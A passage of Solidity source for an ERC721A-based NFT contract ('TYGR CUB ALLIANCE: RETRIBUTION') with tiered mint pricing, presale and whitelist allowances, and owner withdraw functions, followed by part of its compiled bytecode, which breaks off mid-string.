*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev This is equivalent to _burn(tokenId, false)
*/
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract TygrNFT is Ownable, ERC721A, ReentrancyGuard {
uint256 constant RESERVE_MINTS = 200; // Reserve for Vault
uint256 constant FREE_MINTS = 500;
uint256 constant LEV1_MINTS = 888;
uint256 constant LEV2_MINTS = 2000;
uint256 constant LEV3_MINTS = 3000;
uint256 constant LEV4_MINTS = 4000;
uint256 constant LEV5_MINTS = 5000;
uint256 constant LEV6_MINTS = 6000;
uint256 constant LEV7_MINTS = 7000;
uint256 constant LEV8_MINTS = 8000;
uint256 constant LEV9_MINTS = 8888;
string private _baseTokenURI;
uint256 public MAX_SUPPLY = 8888;
uint256 public MINT_START;
address public WITHDRAW_ADDRESS;
address public COMMUNITY_VAULT;
mapping(address => uint256) public presaleAddresses;
mapping(address => uint256) public whitelistAddresses;
constructor() ERC721A("TYGR CUB ALLIANCE: RETRIBUTION", "TYGR") {
_baseTokenURI = "https://metadata.tygrnft.com/";
MINT_START = 1649455200; // Launch Time
WITHDRAW_ADDRESS = address(0xe9980dB2761354c596333BEcA26F9dcf51401e46);
COMMUNITY_VAULT = 0xcb94885c4DCC04933d5aaBcCF96B71B6F709f6a0;
}
modifier onlyEOAUser() {
require(msg.sender == tx.origin, "Caller is not EOA");
_;
}
function _startTokenId() internal pure override returns (uint256) {
return 1;
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
function contractURI() external view returns (string memory) {
return _baseTokenURI;
}
function mintStarted() public view returns (bool) {
return block.timestamp >= MINT_START;
}
/**
* An efficient way to check amount of NFT a user can mint at a particular level.
* It saves gas as we don't need to STORE user mints at each level. It relies
* on user's Balance to determine mint left.
* User who misses mints in the previous level can mint them at the current level
* but at the price of current level.
* Eg. A user can mint 2 NFTs at level 2,
* but will be able to mint upto 4 if they miss Free Mints and Level 1
*/
function userMintLeft() public view returns (uint256) {
uint256 userBalance = _numberMinted(_msgSender());
uint256 mintSoFar = _totalMinted();
uint256 levelMintCap = 1; // One free mint
// Add PreSale and Whitelist Balance for user with access
levelMintCap = levelMintCap + presaleAddresses[_msgSender()] + whitelistAddresses[_msgSender()];
if (mintSoFar >= FREE_MINTS) levelMintCap += 1;
if (mintSoFar >= LEV1_MINTS) levelMintCap += 2;
if (mintSoFar >= LEV2_MINTS) levelMintCap += 3;
if (mintSoFar >= LEV3_MINTS) levelMintCap += 3;
if (mintSoFar >= LEV4_MINTS) levelMintCap += 3;
if (mintSoFar >= LEV5_MINTS) levelMintCap += 3;
if (mintSoFar >= LEV6_MINTS) levelMintCap += 3;
if (mintSoFar >= LEV7_MINTS) levelMintCap += 4;
if (mintSoFar >= LEV8_MINTS) levelMintCap += 4;
if(userBalance > mintSoFar) return 0;
return levelMintCap - userBalance;
}
/**
* Returns the price of NFT at any current stage, supports Bulk Mint.
* Bulk Minting at the endpoint of a stage pays price of the next stage.
* eg. minting 3 NFT when total mint = 1999, will result to paying 0.015 for 2000, 2001, 2002
*/
function price(uint256 quantity) public view returns (uint256) {
uint256 stage = _totalMinted() + quantity;
if (stage <= FREE_MINTS) return 0;
if (stage <= LEV1_MINTS) return quantity * 0.005 ether;
if (stage <= LEV2_MINTS) return quantity * 0.01 ether;
if (stage <= LEV3_MINTS) return quantity * 0.015 ether;
if (stage <= LEV4_MINTS) return quantity * 0.019 ether;
if (stage <= LEV5_MINTS) return quantity * 0.025 ether;
if (stage <= LEV6_MINTS) return quantity * 0.029 ether;
if (stage <= LEV7_MINTS) return quantity * 0.035 ether;
if (stage <= LEV8_MINTS) return quantity * 0.039 ether;
return quantity * 0.045 ether;
}
function _isEligible(uint256 quantity) internal onlyEOAUser {
require(mintStarted(), "Minting not started");
require(_totalMinted() + quantity <= MAX_SUPPLY, "Minting would exceed max supply");
require(
_totalMinted() >= RESERVE_MINTS,
"Vault Reserve yet to be minted"
);
require(
userMintLeft() >= quantity,
"Requested number exceeds maximum per address at current level"
);
if (presaleAddresses[_msgSender()] >= quantity) {
require(
msg.value >= 0.01 ether * quantity,
"PS: Did not send enough eth."
);
presaleAddresses[_msgSender()] =
presaleAddresses[_msgSender()] -
quantity;
} else if (whitelistAddresses[_msgSender()] >= quantity) {
require(
msg.value >= 0.019 ether * quantity,
"WL: Did not send enough eth."
);
whitelistAddresses[_msgSender()] =
whitelistAddresses[_msgSender()] -
quantity;
} else {
require(msg.value >= price(quantity), "Did not send enough eth."); // For normal USer
}
}
function mint(uint256 quantity) external payable {
_isEligible(quantity);
_safeMint(msg.sender, quantity);
}
function burn(uint256 tokenId) external {
_burn(tokenId, true);
}
function totalMinted() external view returns (uint256) {
return _totalMinted();
}
function totalBurned() external view returns (uint256) {
return _burnCounter;
}
function mintToVault() external {
require(_totalMinted() == 0, "NFTs already minted to vault");
_safeMint(COMMUNITY_VAULT, RESERVE_MINTS);
}
/// Admin Functions
function setBaseTokenURI(string memory baseTokenURI) external onlyOwner {
_baseTokenURI = baseTokenURI;
}
function withdraw() external onlyOwner nonReentrant {
uint256 balance = address(this).balance;
require(balance > 0, "NOTHING_TO_WITHDRAW");
(bool success, ) = payable(WITHDRAW_ADDRESS).call{
value: address(this).balance
}("");
require(success, "Transfer failed.");
}
function setPresaleAddresses(address[] calldata presales)
external
onlyOwner
{
for (uint256 i = 0; i < presales.length; i++) {
if (presaleAddresses[presales[i]] == 0) {
// Avoid overriding balance
presaleAddresses[presales[i]] = 6;
}
}
}
function setWhitesaleAddresses(address[] calldata whitesales)
external
onlyOwner
{
for (uint256 i = 0; i < whitesales.length; i++) {
if (whitelistAddresses[whitesales[i]] == 0) {
// Avoid overriding balance
whitelistAddresses[whitesales[i]] = 4;
}
}
}
} | 0x60806040526004361061020f5760003560e01c806369ddd67d11610118578063a9722cf3116100a0578063c87b56dd1161006f578063c87b56dd1461076a578063d89135cd146107a7578063e8a3d485146107d2578063e985e9c5146107fd578063f2fde38b1461083a5761020f565b8063a9722cf3146106c0578063afed7bec146106eb578063b88d4fde14610716578063c6374d0c1461073f5761020f565b806395d89b41116100e757806395d89b41146105fa5780639bcae51014610625578063a0712d6814610650578063a22cb4651461066c578063a2309ff8146106955761020f565b806369ddd67d1461053e57806370a082311461057b578063715018a6146105b85780638da5cb5b146105cf5761020f565b806326a49e371161019b5780633ff35a4f1161016a5780633ff35a4f1461044957806342842e0e1461047257806342966c681461049b5780636352211e146104c457806366fca980146105015761020f565b806326a49e37146103a157806330176e13146103de57806332cb6b0c146104075780633ccfd60b146104325761020f565b8063095ea7b3116101e2578063095ea7b3146102e2578063122e04a81461030b57806318160ddd1461033657806319caedd01461036157806323b872dd146103785761020f565b806301ffc9a71461021457806306fdde031461025157806307f697fa1461027c578063081812fc146102a5575b600080fd5b34801561022057600080fd5b5061023b600480360381019061023691906137c0565b610863565b6040516102489190613808565b60405180910390f35b34801561025d57600080fd5b50610266610945565b60405161027391906138bc565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190613943565b6109d7565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906139c6565b610b55565b6040516102d99190613a34565b60405180910390f35b3480156102ee57600080fd5b5061030960048036038101906103049190613a7b565b610bd1565b005b34801561031757600080fd5b50610320610cdc565b60405161032d9190613a34565b60405180910390f35b34801561034257600080fd5b5061034b610d02565b6040516103589190613aca565b60405180910390f35b34801561036d57600080fd5b50610376610d19565b005b34801561038457600080fd5b5061039f600480360381019061039a9190613ae5565b610d92565b005b3480156103ad57600080fd5b506103c860048036038101906103c391906139c6565b610da2565b6040516103d59190613aca565b60405180910390f35b3480156103ea57600080fd5b5061040560048036038101906104009190613c68565b610f09565b005b34801561041357600080fd5b5061041c610f9f565b6040516104299190613aca565b60405180910390f35b34801561043e57600080fd5b50610447610fa5565b005b34801561045557600080fd5b50610470600480360381019061046b9190613943565b611191565b005b34801561047e57600080fd5b5061049960048036038101906104949190613ae5565b61130f565b005b3480156104a757600080fd5b506104c260048036038101906104bd91906139c6565b61132f565b005b3480156104d057600080fd5b506104eb60048036038101906104e691906139c6565b61133d565b6040516104f89190613a34565b60405180910390f35b34801561050d57600080fd5b5061052860048036038101906105239190613cb1565b611353565b6040516105359190613aca565b60405180910390f35b34801561054a57600080fd5b5061056560048036038101906105609190613cb1565b61136b565b6040516105729190613aca565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d9190613cb1565b611383565b6040516105af9190613aca565b60405180910390f35b3480156105c457600080fd5b506105cd611453565b005b3480156105db57600080fd5b506105e46114db565b6040516105f19190613a34565b60405180910390f35b34801561060657600080fd5b5061060f611504565b60405161061c91906138bc565b60405180910390f35b34801561063157600080fd5b5061063a611596565b6040516106479190613a34565b60405180910390f35b61066a600480360381019061066591906139c6565b6115bc565b005b34801561067857600080fd5b50610693600480360381019061068e9190613d0a565b6115d2565b005b3480156106a157600080fd5b506106aa61174a565b6040516106b79190613aca565b60405180910390f35b3480156106cc57600080fd5b506106d5611759565b6040516106e29190613808565b60405180910390f35b3480156106f757600080fd5b50610700611766565b60405161070d9190613aca565b60405180910390f35b34801561072257600080fd5b5061073d60048036038101906107389190613deb565b61193c565b005b34801561074b57600080fd5b506107546119b8565b6040516107619190613aca565b60405180910390f35b34801561077657600080fd5b50610791600480360381019061078c91906139c6565b6119be565b60405161079e91906138bc565b60405180910390f35b3480156107b357600080fd5b506107bc611a5d565b6040516107c99190613aca565b60405180910390f35b3480156107de57600080fd5b506107e7611a67565b6040516107f491906138bc565b60405180910390f35b34801561080957600080fd5b50610824600480360381019061081f9190613e6e565b611af9565b6040516108319190613808565b60405180910390f35b34801561084657600080fd5b50610861600480360381019061085c9190613cb1565b611b8d565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061092e57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061093e575061093d82611c85565b5b9050919050565b60606003805461095490613edd565b80601f016020809104026020016040519081016040528092919081815260200182805461098090613edd565b80156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b6109df611cef565b73ffffffffffffffffffffffffffffffffffffffff166109fd6114db565b73ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a90613f5b565b60405180910390fd5b60005b82829050811015610b5057600060106000858585818110610a7a57610a79613f7b565b5b9050602002016020810190610a8f9190613cb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610b3d57600460106000858585818110610ae957610ae8613f7b565b5b9050602002016020810190610afe9190613cb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610b4890613fd9565b915050610a56565b505050565b6000610b6082611cf7565b610b96576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6007600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610bdc8261133d565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c44576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c63611cef565b73ffffffffffffffffffffffffffffffffffffffff1614158015610c955750610c9381610c8e611cef565b611af9565b155b15610ccc576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610cd7838383611d45565b505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d0c611df7565b6002546001540303905090565b6000610d23611e00565b14610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a9061406e565b60405180910390fd5b610d90600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660c8611e13565b565b610d9d838383611e31565b505050565b60008082610dae611e00565b610db8919061408e565b90506101f48111610dcd576000915050610f04565b6103788111610df1576611c37937e0800083610de991906140e4565b915050610f04565b6107d08111610e1557662386f26fc1000083610e0d91906140e4565b915050610f04565b610bb88111610e395766354a6ba7a1800083610e3191906140e4565b915050610f04565b610fa08111610e5d57664380663abb800083610e5591906140e4565b915050610f04565b6113888111610e81576658d15e1762800083610e7991906140e4565b915050610f04565b6117708111610ea55766670758aa7c800083610e9d91906140e4565b915050610f04565b611b588111610ec957667c58508723800083610ec191906140e4565b915050610f04565b611f408111610eed57668a8e4b1a3d800083610ee591906140e4565b915050610f04565b669fdf42f6e4800083610f0091906140e4565b9150505b919050565b610f11611cef565b73ffffffffffffffffffffffffffffffffffffffff16610f2f6114db565b73ffffffffffffffffffffffffffffffffffffffff1614610f85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7c90613f5b565b60405180910390fd5b80600a9080519060200190610f9b92919061366e565b5050565b600b5481565b610fad611cef565b73ffffffffffffffffffffffffffffffffffffffff16610fcb6114db565b73ffffffffffffffffffffffffffffffffffffffff1614611021576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101890613f5b565b60405180910390fd5b60026009541415611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e9061418a565b60405180910390fd5b60026009819055506000479050600081116110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae906141f6565b60405180910390fd5b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516110ff90614247565b60006040518083038185875af1925050503d806000811461113c576040519150601f19603f3d011682016040523d82523d6000602084013e611141565b606091505b5050905080611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c906142a8565b60405180910390fd5b50506001600981905550565b611199611cef565b73ffffffffffffffffffffffffffffffffffffffff166111b76114db565b73ffffffffffffffffffffffffffffffffffffffff161461120d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120490613f5b565b60405180910390fd5b60005b8282905081101561130a576000600f600085858581811061123457611233613f7b565b5b90506020020160208101906112499190613cb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156112f7576006600f60008585858181106112a3576112a2613f7b565b5b90506020020160208101906112b89190613cb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061130290613fd9565b915050611210565b505050565b61132a8383836040518060200160405280600081525061193c565b505050565b61133a8160016122e7565b50565b6000611348826126d7565b600001519050919050565b600f6020528060005260406000206000915090505481565b60106020528060005260406000206000915090505481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113eb576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b61145b611cef565b73ffffffffffffffffffffffffffffffffffffffff166114796114db565b73ffffffffffffffffffffffffffffffffffffffff16146114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c690613f5b565b60405180910390fd5b6114d96000612966565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461151390613edd565b80601f016020809104026020016040519081016040528092919081815260200182805461153f90613edd565b801561158c5780601f106115615761010080835404028352916020019161158c565b820191906000526020600020905b81548152906001019060200180831161156f57829003601f168201915b5050505050905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115c581612a2a565b6115cf3382611e13565b50565b6115da611cef565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561163f576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b806008600061164c611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166116f9611cef565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161173e9190613808565b60405180910390a35050565b6000611754611e00565b905090565b6000600c54421015905090565b600080611779611774611cef565b612ea1565b90506000611785611e00565b905060006001905060106000611799611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f60006117e0611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611826919061408e565b611830919061408e565b90506101f4821061184b57600181611848919061408e565b90505b610378821061186457600281611861919061408e565b90505b6107d0821061187d5760038161187a919061408e565b90505b610bb8821061189657600381611893919061408e565b90505b610fa082106118af576003816118ac919061408e565b90505b61138882106118c8576003816118c5919061408e565b90505b61177082106118e1576003816118de919061408e565b90505b611b5882106118fa576004816118f7919061408e565b90505b611f40821061191357600481611910919061408e565b90505b818311156119275760009350505050611939565b828161193391906142c8565b93505050505b90565b611947848484611e31565b6119668373ffffffffffffffffffffffffffffffffffffffff16612f0b565b801561197b575061197984848484612f2e565b155b156119b2576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b600c5481565b60606119c982611cf7565b6119ff576040517fa14c4b5000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000611a0961308e565b9050600081511415611a2a5760405180602001604052806000815250611a55565b80611a3484613120565b604051602001611a45929190614338565b6040516020818303038152906040525b915050919050565b6000600254905090565b6060600a8054611a7690613edd565b80601f0160208091040260200160405190810160405280929190818152602001828054611aa290613edd565b8015611aef5780601f10611ac457610100808354040283529160200191611aef565b820191906000526020600020905b815481529060010190602001808311611ad257829003601f168201915b5050505050905090565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611b95611cef565b73ffffffffffffffffffffffffffffffffffffffff16611bb36114db565b73ffffffffffffffffffffffffffffffffffffffff1614611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0090613f5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c70906143ce565b60405180910390fd5b611c8281612966565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600081611d02611df7565b11158015611d11575060015482105b8015611d3e575060056000838152602001908152602001600020600001601c9054906101000a900460ff16155b9050919050565b826007600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006001905090565b6000611e0a611df7565b60015403905090565b611e2d828260405180602001604052806000815250613281565b5050565b6000611e3c826126d7565b90508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611ea7576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008473ffffffffffffffffffffffffffffffffffffffff16611ec8611cef565b73ffffffffffffffffffffffffffffffffffffffff161480611ef75750611ef685611ef1611cef565b611af9565b5b80611f3c5750611f05611cef565b73ffffffffffffffffffffffffffffffffffffffff16611f2484610b55565b73ffffffffffffffffffffffffffffffffffffffff16145b905080611f75576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611fdc576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b611fe98585856001613293565b611ff560008487611d45565b6001600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600560008581526020019081526020016000209050848160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550428160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060006001850190506000600560008381526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561227557600154821461227457878160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff